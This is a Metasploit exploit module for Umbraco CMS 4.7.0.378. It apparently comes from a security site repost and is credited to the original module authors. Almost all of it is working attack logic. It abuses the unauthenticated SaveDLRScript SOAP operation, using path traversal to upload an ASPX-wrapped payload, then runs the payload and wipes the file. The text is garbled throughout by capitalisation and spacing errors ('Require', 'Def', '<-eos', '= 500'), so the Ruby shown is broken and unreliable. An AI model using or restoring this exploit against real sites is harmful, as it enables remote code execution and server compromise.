Require 'msf/core'
Class Metasploit3 <Msf: Exploit: Remote
Rank = ExcellentRanking
Include Msf: Exploit: Remote: HttpClient
Include Msf: Exploit: EXE
Def initialize
Super (
'Name' => 'umbraco CMS Remote Command Execution ',
'Description' => % q {
This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
The payload is uploaded as an ASPX script by sending a specially crafted
SOAP request to codeEditorSave. asmx, which permits unauthorised file upload
Via the SaveDLRScript operation. SaveDLRScript is also subject to a path
Traversal vulnerability, allowing code to be placed into the web-accessible
/Umbraco/directory.
The module writes, executes and then overwrites an ASPX script; note that
Though the script content is removed, the file remains on the target. Automatic IC
Cleanup of the file is intended if a meterpreter payload is used.
This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
7 32-bit SP1. In this scenario, the "iis apppool \ ASP. NET v4.0" user must have
Write permissions on the Windows Temp folder.
},
'Author' => [
'Toby Clarke ', # Vulnerability discovery and Metasploit module
'Juan vazquez' # Improved version of the Metasploit module
],
'Platform' => 'win ',
'References '=>
[
['Url', 'HTTP: // URLs],
['Url', 'HTTP: // umbraco.codeplex.com/workitem/18192'] # Item deleted for security reasons
],
'Targets' =>
[
['Umbraco CMS 4.7.0.378/Microsoft Windows 7 Professional 32-bit SP1 ', {}],
],
'Defaulttarget' => 0,
'Privileged' => false,
'Disclosuredate' => 'jun 28 2012'
)
Register_options (
[
OptString. new ('targeturi ', [true, 'the URI path of The Umbraco login page','/umbraco/'])
], Self. class)
End
#
# Remove the asmx if we get a meterpreter.
#
Def on_new_session (cli)
If cli. type! = 'Meterpreter'
Print_error ("Meterpreter not used. Please manually remove # {@ upload_random + '. aspx '}")
Return
End
Cli. core. use ("stdapi") if not cli. ext. aliases. include? ("Stdapi ")
Begin
Aspx = @ upload_random + '. aspx'
Print_status ("# {@ peer}-Searching: # {aspx }")
Files = cli. fs. file. search ("\", aspx)
If not files or files. empty?
Print_error ("Unable to find # {aspx}. Please manually remove it .")
Return
End
Files. each {| f |
Print_status ("# {@ peer}-Deleting: # {f ['path'] +" \ "+ f ['name']}")
Cli. fs. file. rm (f ['path'] + "\" + f ['name'])
}
Print_status ("# {@ peer}-# {aspx} deleted ")
Rescue: Exception => e
Print_error ("Unable to delete # {aspx }:# {e. message }")
End
End
# Module based heavily upon Juan Vazquez's 'landesk _ thinkmanagement_upload_asp.rb'
Def exploit
@ Peer = "# {rhost }:# {rport }"
# Generate the ASPX containing the EXE containing the payload
Exe = generate_payload_exe
Aspx = Msf: Util: EXE. to_exe_aspx (exe)
# Htmlentities like encoding
Aspx = aspx. gsub ("&", "& amp ;"). gsub ("\" "," & quot ;"). gsub ("'", "& #039 ;"). gsub ("<", "& lt ;"). gsub (">", "& gt ;")
Uri_path = target_uri.path
Uri_path.path <"/" if uri_path [-1, 1]! = "/"
@ Upload_random = rand_text_alpha (rand (6) + 6)
Soap = <-eos
<? Xml version = "1.0" encoding = "UTF-8"?>
<Soap: Envelope xmlns: xsi = "The http://www.w3.org/2001/XMLSchema-instance" xmlns: xsd = "The http://www.w3.org/2001/XMLSchema" xmlns: soap = "The http://schemas.xmlsoap.org/soap/envelope/">
<Soap: Body>
<SaveDLRScript xmlns = "http://tempuri.org/">
<FileName>/... \ umbraco \ # {@ upload_random}. aspx </fileName>
<OldName> string </oldName>
<FileContents >#{ aspx} </fileContents>
<IgnoreDebugging> 1 </ignoreDebugging>
</SaveDLRScript>
</Soap: Body>
</Soap: Envelope>
Eos
#
# UPLOAD www.2cto.com
#
Attack_url = uri_path + "webservices/codeEditorSave. asmx"
Print_status ("# {@ peer}-Uploading # {aspx. length} bytes through # {attack_url }...")
Print_status ("# {@ peer}-Uploading to # {uri_path }#{@ upload_random}. aspx ")
Res = send_request_cgi ({
'Url' => attack_url,
'Method' => 'post ',
'Ctype '=> 'text/xml; charset = UTF-8 ',
'Headers' => {
'Soapaction' => "\" http://tempuri.org/SaveDLRScript \"",
},
'Data' => soap,
}, 20)
If (! Res)
Print_status ("# {@ peer}-Timeout: Trying to execute the payload anyway ")
Elsif (res. code = 500 and res. body = ~ /Cannot use a leading .. to exit abve the top directory /)
Print_status ("# {@ peer}-Got the expected 500 error code # {attack_url} [# {res. code} # {res. message}]")
Else
Print_status ("# {@ peer}-Didn't get the expected 500 error code # {attack_url} [# {res. code} # {res. message}]. trying to execute the payload anyway ")
End
#
# EXECUTE
#
Upload_path = uri_path + "# {@ upload_random}. aspx"
Print_status ("# {@ peer}-Executing # {upload_path }...")
Res = send_request_cgi ({
'Url' => upload_path,
'Method' => 'get'
}, 20)
If (! Res)
Print_error ("# {@ peer}-Execution failed on # {upload_path} [No Response]")
Return
End
If (res. code <200 or res. code> = 300)
Print_error ("# {@ peer}-Execution failed on # {upload_path} [# {res. code} # {res. message}]")
Return
End
#
# 'Delete'-note that the file will remain on the system, but the content will be wiped.
#
Soap = <-eos
<? Xml version = "1.0" encoding = "UTF-8"?>
<Soap: Envelope xmlns: xsi = "The http://www.w3.org/2001/XMLSchema-instance" xmlns: xsd = "The http://www.w3.org/2001/XMLSchema" xmlns: soap = "The http://schemas.xmlsoap.org/soap/envelope/">
<Soap: Body>
<SaveDLRScript xmlns = "http://tempuri.org/">
<FileName>/... \ umbraco \ # {@ upload_random}. aspx </fileName>
<OldName> string </oldName>
<FileContents> </fileContents>
<IgnoreDebugging> 1 </ignoreDebugging>
</SaveDLRScript>
</Soap: Body>
</Soap: Envelope>
Eos
Attack_url = uri_path + "webservices/codeEditorSave. asmx"
Print_status ("# {@ peer}-Writing # {aspx. length} bytes through # {attack_url }...")
Print_status ("# {@ peer}-Wrting over # {uri_path }#{@ upload_random}. aspx ")
Res = send_request_cgi ({
'Url' => attack_url,
'Method' => 'post ',
'Ctype '=> 'text/xml; charset = UTF-8 ',
'Headers' => {
'Soapaction' => "\" http://tempuri.org/SaveDLRScript \"",
},
'Data' => soap,
}, 20)
If (! Res)
Print_error ("# {@ peer}-Deletion failed at # {attack_url} [No Response]")
Return
Elsif (res. code = 500 and res. body = ~ /Cannot use a leading .. to exit abve the top directory /)
Print_status ("# {@ peer}-Got the expected 500 error code # {attack_url} [# {res. code} # {res. message}]")
Else
Print_status ("# {@ peer}-Didn't get the code and message # {attack_url} [# {res. code} # {res. message}]")
End
Handler
End
End